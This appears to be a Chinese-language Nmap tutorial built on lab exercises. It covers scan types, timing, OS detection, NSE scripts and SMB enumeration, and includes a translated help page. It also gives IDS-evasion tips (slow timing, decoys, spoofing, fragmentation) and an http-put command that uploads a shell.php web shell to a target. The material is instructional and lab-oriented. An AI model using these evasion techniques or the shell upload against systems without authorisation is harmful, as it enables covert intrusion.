我們注意到連接埠 143 是開放的,因此它回復了 SYN/ACK,Nmap 透過發送 ACK 完成了 3 次握手。下圖顯示了我們的Nmap主機和目標系統的143埠之間交換的所有資料包。前三個資料包是正在完成的TCP 3次握手。然後,第四個資料包用 RST/ACK 資料包將其撕毀。

image-1709219375877.png

# -sT tcp連線 scan
# -F 預設是最常用的1000port,使用該參數則為快速掃瞄(top 100 port)
# -r 預設掃描為亂數取port,該參數可固定排序
$ nmap -sT -F -r 10.10.88.190

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 09:53 BST
Nmap scan report for 10.10.88.190
Host is up (0.0024s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
111/tcp open  rpcbind
143/tcp open  imap
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds

TCP SYN 掃描 (-sS)

非特權用戶僅限連線掃描。但是,預設掃描模式是SYN掃描,並且需要特權使用者(root或sudoer)才能運行它。SYN掃描不需要完成TCP 三向交握;相反,一旦收到伺服器的回應,它就會斷開連接。因為我們沒有建立 TCP 連接,所以這減少了記錄掃描的機會。我們可以透過使用選項來選擇這種掃描類型-sS

因為三向握手從未完成,所以信息不會傳遞到應用層,因此不會出現在任何應用程序日誌中。SYN掃描也更快速和高效,因為發送和接收的數據包更少。

SYN 掃描有很多好處:

然而,SYN 掃描有一些缺點,即:

總而言之,利大於弊。

下圖顯示了在未完成 TCP 三向交握 的情況下 TCP SYN 掃描的工作原理。

image-1709219845727.png

在下圖的上半部分,我們可以看到一個TCP連接掃描-sT流量。任何開啟的 TCP 連接埠都需要 Nmap 在關閉連線之前完成 TCP 3 次握手。在下圖的下半部分,我們看到一次SYN掃描如何-sS不需要完成TCP 3次握手;相反,一旦收到 SYN/ACK 封包,Nmap 就會發送 RST 封包。

image-1709219892490.pngTCP SYN 掃描是以特權使用者身分執行 Nmap、以 root 身分執行或使用 sudo 執行 Nmap 時的預設掃描模式

當使用 SYN 掃描來識別關閉和過濾的連接埠時,適用與 TCP 連線掃描(-sT)完全相同的規則。

如果連接埠關閉,則伺服器會使用 RST TCP 封包進行回應。如果連接埠被防火牆過濾,則 TCP SYN 封包將被丟棄,或透過 TCP 重設進行欺騙。

在這方面,兩次掃描是相同的:最大的區別在於它們處理開放連接埠的方式。

# -sS tcp ack掃描
$ sudo nmap -sS 10.10.88.190

Starting Nmap 7.60 ( https://nmap.org ) at 2021-08-30 09:53 BST
Nmap scan report for 10.10.88.190
Host is up (0.0073s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
110/tcp open  pop3
111/tcp open  rpcbind
143/tcp open  imap
MAC Address: 02:45:BF:8A:2D:6B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds

UTP 掃描 (-sU)

與 TCP 不同,UDP 連線是無狀態的。這意味著,UDP 連接不是透過來回「握手」來啟動連接,而是依賴將封包發送到目標端口,並本質上希望它們能夠成功。這使得 UDP 非常適合依賴速度而不是品質的連接(例如視訊共享),但是缺乏確認使得 UDP 的掃描變得更加困難(並且速度慢得多)。Nmap UDP 掃描的開關是 ( -sU)

當資料包發送到開放的 UDP 連接埠時,不應有回應。發生這種情況時,Nmap 將該連接埠稱為 being open|filtered。換句話說,它懷疑連接埠是開放的,但可能被防火牆阻止。如果它收到 UDP 回應(這是非常不尋常的),則該連接埠被標記為open。更常見的是沒有回應,在這種情況下,會再次發送請求以進行雙重檢查。如果仍然沒有回應,則連接埠被標記為開啟|已過濾並且 Nmap 繼續前進。

當封包傳送到關閉的UDP 連接埠時,目標應使用 ICMP (ping) 封包進行回應,其中包含該連接埠無法存取的訊息。這清楚地識別了關閉的端口,Nmap 將其標記為關閉的端口並繼續前進。


由於難以識別 UDP 連接埠是否實際打開,因此與各種 TCP 掃描相比,UDP 掃描往往非常緩慢(在連接良好的情況下掃描前 1000 個連接埠大約需要 20 分鐘)。因此,在--top-ports <number>啟用的情況下執行 Nmap 掃描通常是一個好習慣。例如,使用 進行掃描  nmap -sU --top-ports 20 <target>。將掃描前 20 個最常用的 UDP 端口,從而獲得更可接受的掃描時間。

# nmap -sU -p 53 192.168.1.1
# nmap -sU --top-ports 20 <target>

掃描範圍與效能

# port清單:-p22,80,443 將掃描連接埠 22、80 和 443。
# port範圍:-p1-1023 將掃描 1 到 1023(含)之間的所有port
# 您可以使用 請求掃描所有端口-p-,這將掃描所有 65535 個端口。 或是 -p1-65535
# -F 掃描最常見的 100 個port 
# --top-ports 10 將檢查10個最常見的連接埠。

# 掃瞄速度 -T<0-5> (如果您不指定任何計時,Nmap 將使用 normal -T3。)
您可以使用 控制掃描時序-T<0-5>。-T0是最慢的, -T5而是最快的。根據Nmap手冊頁,有六個範本:
為了避免 IDS 警報,您可以考慮-T0或-T1。例如,-T0一次掃描一個端口,並在發送每個探測之間等待 5 分鐘,
因此您可以猜測掃描一個目標需要多長時間才能完成。
請注意,-T5 就速度而言,這是最具侵略性的;但是,由於丟包的可能性增加,這可能會影響掃描結果的準確性。
請注意,這-T4通常在 CTF 期間和學習掃描練習目標時使用,而-T1通常在隱密更重要的真實交戰中使用。

# 控制資料包速率
# 例如,--max-rate 10或--max-rate=10 確保您的掃描器每秒發送的資料包不超過十個。
--min-rate <number> 控制資料封包速率(最小)
--max-rate <number> 控制資料封包速率(最大)

# 並行
--min-parallelism <numprobes>此外,您可以使用和 控制探測並行化--max-parallelism <numprobes>。
Nmap 探測目標以發現哪些主機處於活動狀態以及哪些連接埠是開放的;探測並行化指定可以並行運行的此類探測的數量。
例如,--min-parallelism=512推動Nmap保持至少512個探針並行;這512個探測與主機發現和開放連接埠有關。

進階服務掃描

# TCP Null Scan			sudo nmap -sN 10.10.156.21
# TCP FIN Scan			sudo nmap -sF 10.10.156.21
# TCP Xmas Scan			sudo nmap -sX 10.10.156.21
# TCP Maimon Scan		sudo nmap -sM 10.10.156.21
# TCP ACK Scan			sudo nmap -sA 10.10.156.21
# TCP Window Scan		sudo nmap -sW 10.10.156.21
# Custom TCP Scan		sudo nmap --scanflags URGACKPSHRSTSYNFIN 10.10.156.21
# Spoofed Source IP		sudo nmap -S SPOOFED_IP 10.10.156.21
# Spoofed MAC Address	--spoof-mac SPOOFED_MAC
# Decoy Scan			nmap -D DECOY_IP,ME 10.10.156.21
# Idle (Zombie) Scan	sudo nmap -sI ZOMBIE_IP 10.10.156.21
# Fragment IP data into 8 bytes		-f
# Fragment IP data into 16 bytes	-ff

# 更多參數
--source-port PORT_NUM 指定來源連接埠號
--data-length NUM 附加隨機資料以達到給定長度
--reason	解釋 Nmap 如何得出結論
-v			冗長的
-vv			非常詳細
-d			偵錯
-dd			更多調試細節

NULLFINXmas TCP 連接埠掃描比我們已經介紹過的其他連接埠掃描不太常用,因此我們不會在這裡深入討論。這三者都是相互關聯的,之所以使用,主要是因為相對而言,它們比 SYN「隱形」掃描更隱密。從 NULL 掃描開始:

 

這些掃描對開放連接埠的預期回應也是相同的,並且與 UDP 掃描的回應非常相似。如果連接埠打開,則不會對格式錯誤的資料包做出回應。不幸的是(與開放的 UDP 連接埠一樣),如果連接埠受防火牆保護,這也是預期的行為,因此 NULL、FIN 和 Xmas 掃描將僅將連接埠識別為open |filteredcloseFiltered。如果某個連接埠被這些掃描之一識別為已過濾,則通常是因為目標已回應 ICMP 無法到達的封包。

另外值得注意的是,雖然 RFC 793 要求網路主機對關閉連接埠使用 RST TCP 封包回應格式錯誤的封包,而對開放埠完全不回應;實際情況並非總是如此。特別是,眾所周知,Microsoft Windows(以及許多 Cisco 網路設備)會使用 RST 來回應任何格式錯誤的 TCP 封包 - 無論連接埠是否實際開啟。這會導致所有連接埠顯示為關閉。

也就是說,這裡的目標當然是繞過防火牆。許多防火牆配置為將傳入的 TCP 封包丟棄到設定了 SYN 標誌的封鎖連接埠(從而阻止新的連線發起請求)。透過發送不包含 SYN 標誌的請求,我們可以有效地繞過這種防火牆。雖然這在理論上很好,但大多數現代 IDS 解決方案都熟悉這些掃描類型,因此在處理現代系統時不要依賴它們 100% 有效。

作業系統偵測 (-O)

Nmap 可以根據作業系統 (OS) 的行為及其回應中的任何跡象來偵測作業系統 (OS)。可以使用以下命令啟用作業系統偵測-O;這是OS 中的大寫 O。在此範例中,我們 nmap -sS -O 10.10.85.33 偵測到作業系統是 Linux 3.X,然後進一步猜測它運行的是 3.13 核心。

$ sudo nmap -sS -O 10.10.85.33

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-10 05:04 BST
Nmap scan report for 10.10.85.33
Host is up (0.00099s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
110/tcp open  pop3
111/tcp open  rpcbind
143/tcp open  imap
MAC Address: 02:A0:E7:B5:B6:C5 (Unknown)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3.13
OS details: Linux 3.13
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.91 seconds

我們掃描並嘗試偵測其作業系統版本的系統正在執行核心版本 3.16。Nmap 能夠在這種情況下做出接近的猜測。在另一個案例中,我們掃描了核心為5.13.14的Fedora Linux系統;然而,Nmap 檢測到它是 Linux 2.6.X。好消息是 Nmap 正確偵測到作業系統;不太好的消息是內核版本錯誤。

作業系統偵測非常方便,但影響其準確性的因素很多。首先,Nmap 需要在目標上找到至少一個開放端口和一個關閉端口,才能做出可靠的猜測。此外,由於虛擬化和類似技術的使用不斷增加,來賓作業系統指紋可能會被扭曲。因此,請始終對作業系統版本持保留態度。

路由追蹤 (--traceroute)

如果您希望 Nmap 找到您和目標之間的路由器,只需新增--traceroute. 在以下範例中,Nmap 將追蹤路由附加到其掃描結果中。traceroute請注意,Nmap 的追蹤路由的工作方式與Linux 和 macOS 或tracertMS Windows 上的命令略有不同。標準 traceroute從低 TTL(生存時間)資料包開始,並不斷增加,直到到達目標。Nmap的traceroute從一個高TTL的資料包開始,並不斷減少它。

在下面的範例中,我們nmap -sS --traceroute 10.10.85.33在 AttackBox 上執行。我們可以看到兩者之間沒有路由器/躍點,因為它們是直接連接的。

$ sudo nmap -sS --traceroute 10.10.85.33

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-10 05:05 BST
Nmap scan report for 10.10.85.33
Host is up (0.0015s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
110/tcp open  pop3
111/tcp open  rpcbind
143/tcp open  imap
MAC Address: 02:A0:E7:B5:B6:C5 (Unknown)

TRACEROUTE
HOP RTT     ADDRESS
1   1.48 ms MACHINE_IP

Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds

Nmap 腳本引擎 (NSE) (-sC)

使用腳本 NSE

Nmap 提供使用 Lua 語言的腳本的支援。Nmap 腳本引擎(NSE)是 Nmap 的一部分,是一個 Lua 解釋器,允許 Nmap 執行用 Lua 語言編寫的 Nmap 腳本。然而,我們不需要學習Lua來使用Nmap腳本。

/usr/share/nmap/scripts,您會注意到有數百個腳本,以它們所針對的協定開頭,方便命名。

您可以指定使用這些已安裝腳本中的任何一個或一組;此外,您可以安裝其他使用者的腳本並將其用於掃描。讓我們從預設腳本開始。--script=default您可以選擇使用或簡單地新增來執行預設類別中的腳本-sC。除了default之外,類別還包括 auth、broadcast、brute、default、discovery、dos、exploit、external、fuzzer、intrusive、malware、safe、version 和 vuln。簡要說明如下表所示。
可以在此處找到更詳盡的清單。

腳本類別 描述
auth 認證相關腳本
broadcast 透過發送廣播訊息發現主機
brute 對登入執行暴力密碼審核
default 預設腳本,同-sC
discovery 檢索可存取的信息,例如資料庫表和 DNS 名稱
dos 偵測易受拒絕服務 (DoS) 攻擊的伺服器
exploit 嘗試利用各種易受攻擊的服務
external 使用第三方服務進行檢查,例如 Geoplugin 和 Virustotal
fuzzer 發動模糊攻擊
intrusive 暴力攻擊和利用等侵入性腳本
malware 掃描後門
safe 不會使目標崩潰的安全腳本
version 檢索服務版本
vuln 檢查漏洞或利用易受攻擊的服務

有些腳本屬於多個類別。此外,一些腳本對服務發動暴力攻擊,而另一些腳本則發動 DoS 攻擊並利用系統。因此,如果您不想使服務崩潰或利用它們,那麼在選擇要執行的腳本時要小心,這一點至關重要。

我們使用 Nmap 運行 SYN 掃描10.10.218.169並在控制台中執行預設腳本,如下所示。命令是sudo nmap -sS -sC 10.10.218.169,其中-sC將確保 Nmap 將在 SYN 掃描之後執行預設腳本。下面出現了新的詳細資訊。查看22埠的SSH服務;Nmap 恢復了與正在運行的伺服器相關的所有四個公鑰。考慮另一個例子,連接埠 80 上的 HTTP 服務;Nmap 檢索預設頁面標題。我們可以看到該頁面已保留為預設頁面。

# -sC 不帶參數就是跑 預設腳本
$ sudo nmap -sS -sC 10.10.218.169

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-10 05:08 BST
Nmap scan report for ip-10-10-161-170.eu-west-1.compute.internal (10.10.161.170)
Host is up (0.0011s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
| ssh-hostkey: 
|   1024 d5:80:97:a3:a8:3b:57:78:2f:0a:78:ae:ad:34:24:f4 (DSA)
|   2048 aa:66:7a:45:eb:d1:8c:00:e3:12:31:d8:76:8e:ed:3a (RSA)
|   256 3d:82:72:a3:07:49:2e:cb:d9:87:db:08:c6:90:56:65 (ECDSA)
|_  256 dc:f0:0c:89:70:87:65:ba:52:b1:e9:59:f7:5d:d2:6a (EdDSA)
25/tcp  open  smtp
|_smtp-commands: debra2.thm.local, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
| ssl-cert: Subject: commonName=debra2.thm.local
| Not valid before: 2021-08-10T12:10:58
|_Not valid after:  2031-08-08T12:10:58
|_ssl-date: TLS randomness does not represent time
80/tcp  open  http
|_http-title: Welcome to nginx on Debian!
110/tcp open  pop3
|_pop3-capabilities: RESP-CODES CAPA TOP SASL UIDL PIPELINING AUTH-RESP-CODE
111/tcp open  rpcbind
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          38099/tcp  status
|_  100024  1          54067/udp  status
143/tcp open  imap
|_imap-capabilities: LITERAL+ capabilities IMAP4rev1 OK Pre-login ENABLE have LOGINDISABLEDA0001 listed SASL-IR ID more post-login LOGIN-REFERRALS IDLE
MAC Address: 02:A0:E7:B5:B6:C5 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.21 seconds

要運行特定腳本,我們將使用--script=<script-name>,例如--script=http-fileupload-exploiter。也可以使用名稱或模式(例如 --script "ftp*",其中包括 )來指定腳本ftp-brute。如果您不確定腳本的作用,可以使用文字閱讀器(例如 )less或文字編輯器開啟腳本檔案。在 的例子中 ftp-brute,它指出:“對 FTP 伺服器執行暴力密碼審核。” 您必須小心,因為某些腳本非常具有侵入性。此外,某些腳本可能適用於特定伺服器,如果隨機選擇,則會浪費您的時間而沒有任何好處。與往常一樣,請確保您有權在目標伺服器上啟動此類測試。

透過用逗號分隔多個腳本可以以這種方式同時運行。例如:--script=smb-enum-users,smb-enum-shares

某些腳本需要參數(例如,憑證,如果它們正在利用經過身份驗證的漏洞)。這些可以透過 Nmap 開關給出--script-args。腳本就是一個例子http-put(用於使用 PUT 方法上傳檔案)。這需要兩個參數:將檔案上傳到的 URL 以及檔案在磁碟上的位置。例如:

nmap -p 80 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php'

請注意,參數之間以逗號分隔,並用句點(即  <script-name>.<argument>)連接到對應的腳本。

# --script=<script-name> 運行特定腳本
# 	透過用逗號分隔多個腳本可以以這種方式同時運行 --script=smb-enum-users,smb-enum-shares
# --script-args 給定參數
# 	參數之間以逗號分隔,並用句點(即  <script-name>.<argument>)連接到對應的腳本
$ nmap -p 80 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php' 

可以在此處找到腳本及其相應參數(以及範例用例)的完整清單。

讓我們考慮一個良性腳本,http-date我們猜測它會檢索 http 伺服器日期和時間,這在其描述中確實得到了證實:「從類似 HTTP 的服務獲取日期。此外,它還會列印日期與當地時間的差異…」,我們執行 sudo nmap -sS -n --script "http-date" 10.10.218.169如下控制台所示。

# --script=<script-name> 運行特定腳本
# 	透過用逗號分隔多個腳本可以以這種方式同時運行 --script=smb-enum-users,smb-enum-shares
# --script-args 給定參數
# 	參數之間以逗號分隔,並用句點(即  <script-name>.<argument>)連接到對應的腳本
# 	nmap -p 80 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php' 

$ sudo nmap -sS -n --script "http-date" 10.10.218.169

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-10 08:04 BST
Nmap scan report for 10.10.218.169
Host is up (0.0011s latency).
Not shown: 994 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
|_http-date: Fri, 10 Sep 2021 07:04:26 GMT; 0s from local time.
110/tcp open  pop3
111/tcp open  rpcbind
143/tcp open  imap
MAC Address: 02:44:87:82:AC:83 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds

尋找腳本

我們有兩種選擇,最好將它們結合使用。

第一個是Nmap 網站上的頁面,其中包含所有官方腳本的清單
第二個是攻擊機器上的本機儲存。Nmap 在 Linux 上將其腳本儲存在/usr/share/nmap/scripts. 預設情況下,所有 NSE 腳本都儲存在該目錄中—當您指定腳本時,Nmap 會在該目錄中尋找腳本。

有兩種方法可以搜尋已安裝的腳本。一種是使用/usr/share/nmap/scripts/script.db文件。儘管有擴展名,但這實際上並不是一個資料庫,而是一個包含每個可用腳本的檔案名稱和類別的格式化文字檔案。

# file /usr/share/nmap/scripts/script.db 
/usr/share/nmap/scripts/script.db: ASCII text

# head /usr/share/nmap/scripts/script.db 
Entry { filename = "acarsd-info.nse", categories = { "discovery", "safe", } }
Entry { filename = "address-info.nse", categories = { "default", "safe", } }
Entry { filename = "afp-brute.nse", categories = { "brute", "intrusive", } }
Entry { filename = "afp-ls.nse", categories = { "discovery", "safe", } }
Entry { filename = "afp-path-vuln.nse", categories = { "exploit", "intrusive", "vuln", } }
Entry { filename = "afp-serverinfo.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "afp-showmount.nse", categories = { "discovery", "safe", } }
Entry { filename = "ajp-auth.nse", categories = { "auth", "default", "safe", } }
Entry { filename = "ajp-brute.nse", categories = { "brute", "intrusive", } }
Entry { filename = "ajp-headers.nse", categories = { "discovery", "safe", } }

Nmap 使用此文件來追蹤(並利用)腳本引擎的腳本;但是,我們也可以透過grep,或是 ls 來找出腳本。例如:

# grep "ftp" /usr/share/nmap/scripts/script.db 
Entry { filename = "ftp-anon.nse", categories = { "auth", "default", "safe", } }
Entry { filename = "ftp-bounce.nse", categories = { "default", "safe", } }
Entry { filename = "ftp-brute.nse", categories = { "brute", "intrusive", } }
Entry { filename = "ftp-libopie.nse", categories = { "intrusive", "vuln", } }
Entry { filename = "ftp-proftpd-backdoor.nse", categories = { "exploit", "intrusive", "malware", "vuln", } }
Entry { filename = "ftp-syst.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "ftp-vsftpd-backdoor.nse", categories = { "exploit", "intrusive", "malware", "vuln", } }
Entry { filename = "ftp-vuln-cve2010-4221.nse", categories = { "intrusive", "vuln", } }
Entry { filename = "tftp-enum.nse", categories = { "discovery", "intrusive", } }

# ls -al /usr/share/nmap/scripts/*ftp*
-rw-r--r-- 1 root root 4564 Apr 16  2018 /usr/share/nmap/scripts/ftp-anon.nse
-rw-r--r-- 1 root root 3253 Apr 16  2018 /usr/share/nmap/scripts/ftp-bounce.nse
-rw-r--r-- 1 root root 3108 Apr 16  2018 /usr/share/nmap/scripts/ftp-brute.nse
-rw-r--r-- 1 root root 3258 Apr 16  2018 /usr/share/nmap/scripts/ftp-libopie.nse
-rw-r--r-- 1 root root 3295 Apr 16  2018 /usr/share/nmap/scripts/ftp-proftpd-backdoor.nse
-rw-r--r-- 1 root root 3810 Apr 16  2018 /usr/share/nmap/scripts/ftp-syst.nse
-rw-r--r-- 1 root root 6007 Apr 16  2018 /usr/share/nmap/scripts/ftp-vsftpd-backdoor.nse
-rw-r--r-- 1 root root 5943 Apr 16  2018 /usr/share/nmap/scripts/ftp-vuln-cve2010-4221.nse
-rw-r--r-- 1 root root 5678 Apr 16  2018 /usr/share/nmap/scripts/tftp-enum.nse

安裝腳本

# 直接更新
sudo apt update && sudo apt install nmap

# 手動下載
sudo wget -O /usr/share/nmap/scripts/<script-name>.nse https://svn.nmap.org/nmap/scripts/<script-name>.nse
# 下載完更新DB
nmap --script-updatedb

防火牆規避

您的典型 Windows 主機將使用其預設防火牆阻止所有 ICMP 封包。這就帶來了一個問題:我們不僅經常使用ping來手動建立目標的活動,Nmap 預設也會做同樣的事情。這表示 Nmap 會將具有此防火牆配置的主機註冊為死亡主機,並且根本不會掃描它。

因此,我們需要一種方法來繞過這個配置。幸運的是,Nmap 為此提供了一個選項:-Pn,它告訴 Nmap 在掃描主機之前不要費心 ping 主機。這意味著 Nmap 將始終將目標主機視為活動的,從而有效地繞過 ICMP 區塊;然而,它的代價是可能需要很長時間才能完成掃描(如果主機確實死了,那麼 Nmap 仍然會檢查並仔細檢查每個指定的連接埠)。

值得注意的是,如果您已經直接位於本機網路上,Nmap 也可以使用 ARP 請求來確定主機活動。

Nmap 認為還有多種其他開關可用於規避防火牆。我們不會詳細介紹這些內容,但是,您可以在這裡找到它們。

以下開關尤其值得注意:


Nmap 參數說明

以下是Nmap 7.94的說明及參數翻譯:

Nmap 7.94(https://nmap.org)
用法:nmap [掃描類型] [選項] {目標指定}
目標指定:
  可傳遞主機名、IP地址、網絡等等。
  例如:scanme.nmap.org、microsoft.com/24、192.168.0.1; 10.0.0-255.1-254
  -iL <輸入文件名>:從主機/網絡列表輸入
  -iR <主機數量>:選擇隨機目標
  --exclude <主機1[,主機2][,主機3],...>:排除主機/網絡
  --excludefile <排除文件>:從文件排除列表
主機發現:
  -sL:列表掃描 - 簡單列出要掃描的目標
  -sn:Ping掃描 - 停用端口掃描
  -Pn:將所有主機視為在線 - 跳過主機發現
  -PS/PA/PU/PY<端口列表>:TCP SYN/ACK、UDP或SCTP發現到指定端口
  -PE/PP/PM:ICMP echo、timestamp和netmask請求發現探針
  -PO[協議列表]:IP協議Ping
  -n/-R:永不執行DNS解析/總是解析 [默認:有時]
  --dns-servers <伺服器1[,伺服器2],...>:指定自定義DNS伺服器
  --system-dns:使用作業系統的DNS解析器
  --traceroute:追蹤到每個主機的跳躍路徑
掃描技術:
  -sS/sT/sA/sW/sM:TCP SYN/Connect()/ACK/Window/Maimon掃描
  -sU:UDP掃描
  -sN/sF/sX:TCP Null、FIN和Xmas掃描
  --scanflags <標誌>:自定義TCP掃描標誌
  -sI <殭屍主機[:探針端口]>:閒置掃描
  -sY/sZ:SCTP INIT/COOKIE-ECHO掃描
  -sO:IP協議掃描
  -b <FTP中繼主機>:FTP彈跳掃描
端口指定和掃描順序:
  -p <端口範圍>:僅掃描指定的端口
    例如:-p22;-p1-65535;-p U:53,111,137,T:21-25,80,139,8080,S:9
  --exclude-ports <端口範圍>:排除掃描指定的端口
  -F:快速模式 - 掃描比默認更少的端口
  -r:按順序掃描端口 - 不隨機化
  --top-ports <數量>:掃描最常見的<數量>個端口
  --port-ratio <比率>:掃描比<比率>常見的端口
服務/版本檢測:
  -sV:探測打開的端口以確定服務/版本信息
  --version-intensity <級別>:設置從0(輕)到9(嘗試所有探針)的級別
  --version-light:限制最可能的探針(級別2)
  --version-all:嘗試每個單獨的探針(級別9)
  --version-trace:顯示詳細的版本掃描活動(用於調試)
腳本掃描:
  -sC:等同於 --script=default
  --script=<Lua腳本>: <Lua腳本> 是目錄、腳本文件或腳本類別的逗號分隔列表
  --script-args=<n1=v1,[

n2=v2,...]>:提供給腳本的參數
  --script-args-file=文件名:在文件中提供NSE腳本參數
  --script-trace:顯示發送和接收的所有數據
  --script-updatedb:更新腳本數據庫
  --script-help=<Lua腳本>:顯示有關腳本的幫助
          <Lua腳本> 是腳本文件或腳本類別的逗號分隔列表
OS檢測:
  -O:啟用OS檢測
  --osscan-limit:限制OS檢測對有希望的目標
  --osscan-guess:更積極地猜測OS
時間和性能:
  需要 <時間> 的選項以秒為單位,或在值后附加 'ms'(毫秒)、's'(秒)、'm'(分鐘)或'h'(小時)(例如 30m)。
  -T<0-5>:設置時間模板(較高表示更快)
  --min-hostgroup/max-hostgroup <大小>:平行主機掃描組大小
  --min-parallelism/max-parallelism <探針數量>:探針並行
  --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <時間>:指定探針往返時間
  --max-retries <嘗試次數>:限制端口掃描探針的重發次數
  --host-timeout <時間>:在此時間后放棄對目標的掃描
  --scan-delay/--max-scan-delay <時間>:調整探針之間的延遲
  --min-rate <數量>:每秒發送的封包數不低於<數量>
  --max-rate <數量>:每秒發送的封包數不高於<數量>
防火牆/入侵檢測和欺騙:
  -f; --mtu <值>:分段封包(可選附帶MTU)
  -D <欺騙主機1,欺騙主機2[,自己],...>:用欺騙主機偽裝掃描
  -S <IP地址>:偽造源地址
  -e <接口>:使用指定的接口
  -g/--source-port <端口號>:使用指定的端口號
  --proxies <URL1,[URL2],...>:通過HTTP/SOCKS4代理中繼連接
  --data <十六進制字符串>:附加自定義有效載荷到發送的封包
  --data-string <字符串>:附加自定義ASCII字符串到發送的封包
  --data-length <數量>:附加隨機數據到發送的封包
  --ip-options <選項>:發送指定IP選項的封包
  --ttl <值>:設置IP生存時間字段
  --spoof-mac <MAC地址/前綴/供應商名稱>:偽造MAC地址
  --badsum:發送具有虛偽的TCP/UDP/SCTP校驗和的封包
輸出:
  -oN/-oX/-oS/-oG <文件>:將掃描輸出到正常、XML、s|<rIpt kIddi3和Grepable格式,分別到指定的文件名
  -oA <基本名>:一次以三種主要格式輸出
  -v:增加詳細程度(使用 -vv 或更多以獲得更大效果)
  -d:增加調試程度(使用 -dd 或更多以獲得更大效果)
  --reason:顯示端口處於特定狀態的原因
  --open:僅顯示打開(或可能打開)的端口
  --packet-trace:顯示發送和接收的所有封包
  --iflist:打印主機接口和路由(用於調試)
  --append-output:附加到指定的輸出文件而不是覆蓋它
  --resume <文件名>:恢復中斷的掃描
  --noninteractive:禁用通過鍵盤的運行時交互
  --stylesheet <路徑/URL>:XSL樣式表以將XML輸出轉換為HTML
  --webxml:從Nmap.Org引用樣式表以實現更具可移植性的XML
  --no-stylesheet:防止將XSL樣式表與XML輸出關聯
其他:
  -6:啟用IPv6掃描
  -A:啟用OS檢測、版本檢測、腳本掃描和路由跟蹤
  --datadir <目錄名>:指定自定義Nmap數據文件位置
  --send-eth/--send-ip:使用原始以太網幀或IP封包發送
  --privileged:假定用戶具有完全特權
  --unprivileged:假定用戶缺乏原始套接字特權
  -V:打印版本號
  -h:打印此幫助摘要頁。
範例:
  nmap -v -A scanme.nmap.org
  nmap -v -sn 192.168.0.0/16 10.0.0.0/8
  nmap -v -iR 10000 -Pn -p 80

 

其他掃描

SMB 掃描

NetBIOS服務聽取TCP端口139,以及多個UDP端口。需要注意的是,SMB(TCP端口445)和NetBIOS是兩個獨立的協議。NetBIOS是一個獨立的會話層協議和服務,允許本地網絡上的計算機彼此通信。雖然現代SMB的實現可以在沒有NetBIOS的情況下運行,但為了向後兼容性,通常一起啟用NetBIOS over TCP(NBT)。這也意味著這兩個服務的列舉通常是相互關聯的。可以使用類似以下語法的工具,如nmap,來掃描這些服務:

kali@kali:~$ nmap -v -p 139,445 -oG smb.txt 192.168.50.1-254

kali@kali:~$ cat smb.txt
# Nmap 7.92 scan initiated Thu Mar 17 06:03:12 2022 as: nmap -v -p 139,445 -oG smb.txt 192.168.50.1-254
# Ports scanned: TCP(2;139,445) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 192.168.50.1 ()	Status: Down
...
Host: 192.168.50.21 ()	Status: Up
Host: 192.168.50.21 ()	Ports: 139/closed/tcp//netbios-ssn///, 445/closed/tcp//microsoft-ds///
...
Host: 192.168.50.217 ()	Status: Up
Host: 192.168.50.217 ()	Ports: 139/closed/tcp//netbios-ssn///, 445/closed/tcp//microsoft-ds///
# Nmap done at Thu Mar 17 06:03:18 2022 -- 254 IP addresses (15 hosts up) scanned in 6.17 seconds

Nmap還提供了許多有用的NSE腳本,我們可以使用它們來發現和列舉SMB服務。這些腳本位於/usr/share/nmap/scripts目錄中。

kali@kali:~$ ls -1 /usr/share/nmap/scripts/smb*
/usr/share/nmap/scripts/smb2-capabilities.nse
/usr/share/nmap/scripts/smb2-security-mode.nse
/usr/share/nmap/scripts/smb2-time.nse
/usr/share/nmap/scripts/smb2-vuln-uptime.nse
/usr/share/nmap/scripts/smb-brute.nse
/usr/share/nmap/scripts/smb-double-pulsar-backdoor.nse
/usr/share/nmap/scripts/smb-enum-domains.nse
/usr/share/nmap/scripts/smb-enum-groups.nse
/usr/share/nmap/scripts/smb-enum-processes.nse
/usr/share/nmap/scripts/smb-enum-sessions.nse
/usr/share/nmap/scripts/smb-enum-shares.nse
/usr/share/nmap/scripts/smb-enum-users.nse
/usr/share/nmap/scripts/smb-os-discovery.nse
...

我們找到了一些有趣的Nmap SMB NSE腳本,可以通過SMB執行各種任務,如OS發現和列舉。

